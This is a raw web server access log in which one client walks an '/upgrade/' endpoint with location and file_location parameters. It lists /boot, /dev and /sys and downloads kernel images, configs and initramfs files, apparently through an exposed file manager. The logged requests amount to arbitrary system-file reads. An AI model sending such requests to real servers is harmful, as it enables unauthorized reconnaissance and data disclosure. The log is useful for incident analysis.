45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Fsymvers-5.14.0-570.12.1.el9_6.x86_64.gz&location=%2Fboot%2F HTTP/1.1" 200 281719 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Fsymvers-5.14.0-570.12.1.el9_6.x86_64.gz&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/?location=%2Fboot%2Flost+found HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fboot%2Flost+found" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2F.vmlinuz-5.14.0-611.16.1.el9_7.x86_64.hmac&location=%2Fboot%2F HTTP/1.1" 200 8136 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2F.vmlinuz-5.14.0-611.16.1.el9_7.x86_64.hmac&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:12 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Fconfig-5.14.0-611.20.1.el9_7.x86_64&location=%2Fboot%2F HTTP/1.1" 200 71718 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Fconfig-5.14.0-611.20.1.el9_7.x86_64&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:12 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Finitramfs-5.14.0-570.12.1.el9_6.x86_64.img&location=%2Fboot%2F HTTP/1.1" 200 8097 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Finitramfs-5.14.0-570.12.1.el9_6.x86_64.img&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:12 -0400] "GET /upgrade/?location=%2Fboot%2F HTTP/1.1" 200 8073 "http://163.245.207.76:443/upgrade/?location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:12 -0400] "GET /upgrade/index.php?location=%2Fboot%2F HTTP/1.1" 200 8076 "http://163.245.207.76:443/upgrade/index.php?location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:12 -0400] "GET /upgrade/?location=%2Fboot%2F&option=file HTTP/1.1" 200 8082 "http://163.245.207.76:443/upgrade/?location=%2Fboot%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:12 -0400] "GET /upgrade/?full_path=%2Fboot&location=%2Fboot%2F HTTP/1.1" 200 8086 "http://163.245.207.76:443/upgrade/?full_path=%2Fboot&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:12 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Fsymvers-5.14.0-611.16.1.el9_7.x86_64.gz&location=%2Fboot%2F HTTP/1.1" 200 286722 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Fsymvers-5.14.0-611.16.1.el9_7.x86_64.gz&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:11 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Fvmlinuz-5.14.0-611.16.1.el9_7.x86_64&location=%2Fboot%2F HTTP/1.1" 200 12569876 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Fvmlinuz-5.14.0-611.16.1.el9_7.x86_64&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:12 -0400] "GET /upgrade/?location=%2Fboot%2Floader HTTP/1.1" 200 5951 "http://163.245.207.76:443/upgrade/?location=%2Fboot%2Floader" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:13 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2F.vmlinuz-0-rescue-c05fba9dde1f4a27a1532670b8d05963.hmac&location=%2Fboot%2F HTTP/1.1" 200 8302 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2F.vmlinuz-0-rescue-c05fba9dde1f4a27a1532670b8d05963.hmac&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:12 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Fvmlinuz-0-rescue-c05fba9dde1f4a27a1532670b8d05963&location=%2Fboot%2F HTTP/1.1" 200 12413280 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Fvmlinuz-0-rescue-c05fba9dde1f4a27a1532670b8d05963&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:13 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2FSystem.map-5.14.0-611.20.1.el9_7.x86_64&location=%2Fboot%2F HTTP/1.1" 200 8143 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2FSystem.map-5.14.0-611.20.1.el9_7.x86_64&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:13 -0400] "GET /upgrade/?full_path=%2Fboot&location=%2F HTTP/1.1" 200 7725 "http://163.245.207.76:443/upgrade/?full_path=%2Fboot&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:13 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2FSystem.map-5.14.0-611.16.1.el9_7.x86_64&location=%2Fboot%2F HTTP/1.1" 200 8141 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2FSystem.map-5.14.0-611.16.1.el9_7.x86_64&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:13 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Finitramfs-0-rescue-c05fba9dde1f4a27a1532670b8d05963.img&location=%2Fboot%2F HTTP/1.1" 200 8177 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Finitramfs-0-rescue-c05fba9dde1f4a27a1532670b8d05963.img&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:14 -0400] "GET /upgrade/?location=%2Fboot%2F&option=folder HTTP/1.1" 200 8084 "http://163.245.207.76:443/upgrade/?location=%2Fboot%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:14 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Fsymvers-5.14.0-611.20.1.el9_7.x86_64.gz&location=%2Fboot%2F HTTP/1.1" 200 286704 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Fsymvers-5.14.0-611.20.1.el9_7.x86_64.gz&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:14 -0400] "GET /upgrade/?location=%2Fboot%2Fefi HTTP/1.1" 200 5738 "http://163.245.207.76:443/upgrade/?location=%2Fboot%2Fefi" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:14 -0400] "GET /upgrade/?location=%2Fboot%2F&option=dir HTTP/1.1" 200 8001 "http://163.245.207.76:443/upgrade/?location=%2Fboot%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:14 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Fvmlinuz-5.14.0-570.12.1.el9_6.x86_64&location=%2Fboot%2F HTTP/1.1" 200 12413203 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Fvmlinuz-5.14.0-570.12.1.el9_6.x86_64&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:14 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2F.vmlinuz-5.14.0-570.12.1.el9_6.x86_64.hmac&location=%2Fboot%2F HTTP/1.1" 200 8293 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2F.vmlinuz-5.14.0-570.12.1.el9_6.x86_64.hmac&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:14 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2FSystem.map-5.14.0-570.12.1.el9_6.x86_64&location=%2Fboot%2F HTTP/1.1" 200 8099 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2FSystem.map-5.14.0-570.12.1.el9_6.x86_64&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:14 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Fconfig-5.14.0-570.12.1.el9_6.x86_64&location=%2Fboot%2F HTTP/1.1" 200 70093 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Fconfig-5.14.0-570.12.1.el9_6.x86_64&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:14 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Fvmlinuz-5.14.0-611.20.1.el9_7.x86_64&location=%2Fboot%2F HTTP/1.1" 200 12574095 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Fvmlinuz-5.14.0-611.20.1.el9_7.x86_64&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:15 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Finitramfs-5.14.0-570.12.1.el9_6.x86_64kdump.img&location=%2Fboot%2F HTTP/1.1" 200 8168 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Finitramfs-5.14.0-570.12.1.el9_6.x86_64kdump.img&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:15 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Finitramfs-5.14.0-611.16.1.el9_7.x86_64.img&location=%2Fboot%2F HTTP/1.1" 200 8178 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Finitramfs-5.14.0-611.16.1.el9_7.x86_64.img&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:15 -0400] "GET /upgrade/?location=%2Fboot%2Fgrub2 HTTP/1.1" 200 5744 "http://163.245.207.76:443/upgrade/?location=%2Fboot%2Fgrub2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:15 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2F.vmlinuz-5.14.0-611.20.1.el9_7.x86_64.hmac&location=%2Fboot%2F HTTP/1.1" 200 8266 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2F.vmlinuz-5.14.0-611.20.1.el9_7.x86_64.hmac&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:15 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Fconfig-5.14.0-611.16.1.el9_7.x86_64&location=%2Fboot%2F HTTP/1.1" 200 71753 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Fconfig-5.14.0-611.16.1.el9_7.x86_64&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:15 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Finitramfs-5.14.0-611.20.1.el9_7.x86_64.img&location=%2Fboot%2F HTTP/1.1" 200 8155 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Finitramfs-5.14.0-611.20.1.el9_7.x86_64.img&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:15 -0400] "GET /upgrade/?file_location=%2Fboot%2F%2Finitramfs-5.14.0-611.20.1.el9_7.x86_64kdump.img&location=%2Fboot%2F HTTP/1.1" 200 8150 "http://163.245.207.76:443/upgrade/?file_location=%2Fboot%2F%2Finitramfs-5.14.0-611.20.1.el9_7.x86_64kdump.img&location=%2Fboot%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:15 -0400] "GET /upgrade/index.php?location=%2Fdev%2F HTTP/1.1" 200 7092 "http://163.245.207.76:443/upgrade/index.php?location=%2Fdev%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:15 -0400] "GET /upgrade/?location=%2Fdev%2Fchar HTTP/1.1" 200 5720 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fchar" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:15 -0400] "GET /upgrade/?location=%2Fdev%2Fdma_heap HTTP/1.1" 200 5724 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fdma_heap" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2F&option=folder HTTP/1.1" 200 7098 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2Ffd HTTP/1.1" 200 6208 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Ffd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2Fnet HTTP/1.1" 200 5720 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fnet" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2F&option=file HTTP/1.1" 200 7100 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2F&option=dir HTTP/1.1" 200 7100 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2Finput HTTP/1.1" 200 5989 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Finput" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?file_location=%2Fdev%2F%2Fstdout&location=%2Fdev%2F HTTP/1.1" 200 7168 "http://163.245.207.76:443/upgrade/?file_location=%2Fdev%2F%2Fstdout&location=%2Fdev%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2Fmqueue HTTP/1.1" 200 5712 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fmqueue" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2Fpts HTTP/1.1" 200 5720 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fpts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?file_location=%2Fdev%2F%2Fstderr&location=%2Fdev%2F HTTP/1.1" 200 7164 "http://163.245.207.76:443/upgrade/?file_location=%2Fdev%2F%2Fstderr&location=%2Fdev%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2Fmapper HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fmapper" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2Fdisk HTTP/1.1" 200 6150 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fdisk" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2Fsnd HTTP/1.1" 200 5914 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fsnd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2F HTTP/1.1" 200 7091 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:16 -0400] "GET /upgrade/?location=%2Fdev%2Fblock HTTP/1.1" 200 5720 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fblock" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?location=%2Fdev%2Fbus HTTP/1.1" 200 5908 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fbus" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?location=%2Fdev%2Fdri HTTP/1.1" 200 5903 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fdri" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?location=%2Fdev%2Fshm HTTP/1.1" 200 5951 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fshm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?location=%2Fdev%2Fvfio HTTP/1.1" 200 5720 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fvfio" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?full_path=%2Fdev&location=%2F HTTP/1.1" 200 7723 "http://163.245.207.76:443/upgrade/?full_path=%2Fdev&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?file_location=%2Fdev%2F%2Fcore&location=%2Fdev%2F HTTP/1.1" 200 7164 "http://163.245.207.76:443/upgrade/?file_location=%2Fdev%2F%2Fcore&location=%2Fdev%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?location=%2Fdev%2Fcpu HTTP/1.1" 200 6938 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fcpu" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?location=%2Fdev%2Fhugepages HTTP/1.1" 200 5725 "http://163.245.207.76:443/upgrade/?location=%2Fdev%2Fhugepages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?full_path=%2Fdev&location=%2Fdev%2F HTTP/1.1" 200 7102 "http://163.245.207.76:443/upgrade/?full_path=%2Fdev&location=%2Fdev%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?full_path=%2Fsys&location=%2F HTTP/1.1" 200 7720 "http://163.245.207.76:443/upgrade/?full_path=%2Fsys&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?full_path=%2Fsys&location=%2Fsys%2F HTTP/1.1" 200 6355 "http://163.245.207.76:443/upgrade/?full_path=%2Fsys&location=%2Fsys%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?location=%2Fsys%2F HTTP/1.1" 200 6341 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?location=%2Fsys%2Fclass HTTP/1.1" 200 8468 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Fclass" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?location=%2Fsys%2Fpower HTTP/1.1" 200 7040 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Fpower" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:17 -0400] "GET /upgrade/?location=%2Fsys%2F&option=dir HTTP/1.1" 200 6355 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fsys%2Ffirmware HTTP/1.1" 200 6167 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Ffirmware" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fsys%2Ffs HTTP/1.1" 200 6204 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Ffs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fsys%2F&option=folder HTTP/1.1" 200 6352 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:05:18 -0400] "GET /upgrade/?location=%2Fsys%2Fbus HTTP/1.1" 200 7520 "http://163.245.207.76:443/upgrade/?location=%2Fsys%2Fbus" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
